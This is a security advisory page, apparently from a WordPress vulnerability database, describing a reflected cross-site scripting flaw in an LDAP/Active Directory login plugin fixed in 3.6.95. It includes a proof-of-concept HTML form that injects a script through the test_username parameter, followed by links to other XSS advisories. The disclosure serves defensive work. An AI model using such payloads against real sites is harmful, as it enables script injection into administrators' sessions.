Active Directory Integration / LDAP Integration < 3.6.95 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not escape the test_username parameter before outputting it back in the settings page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=mo_ldap_local_login" method="POST">
      <input type="hidden" name="test_username" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

ldap-login-for-intranet-sites

Fixed in 3.6.95

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

f9fd62f7-e086-43cc-b08b-5e04d8723c91

Timeline

Publicly Published

2021-10-18 (about 4 years ago)

Added

2021-10-18 (about 4 years ago)

Last Updated

2021-10-18 (about 4 years ago)

Other

Published

Title

Published

2023-06-28

Title

Layer Slider <= 1.1.9.7 - Contributor+ Stored XSS

Published

2025-02-03

Title

FlexIDX Home Search <= 2.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-05-30

Title

Responsive video embed < 0.5.1 - Contributor+ Stored XSS

Published

2024-04-05

Title

Essential Blocks for Gutenberg < 4.5.4 - Contributor+ Stored Cross-Site Scripting

Published

2025-06-11

Title

Track, Analyze & Optimize by WP Tao < 1.3.1 - Reflected Cross-Site Scripting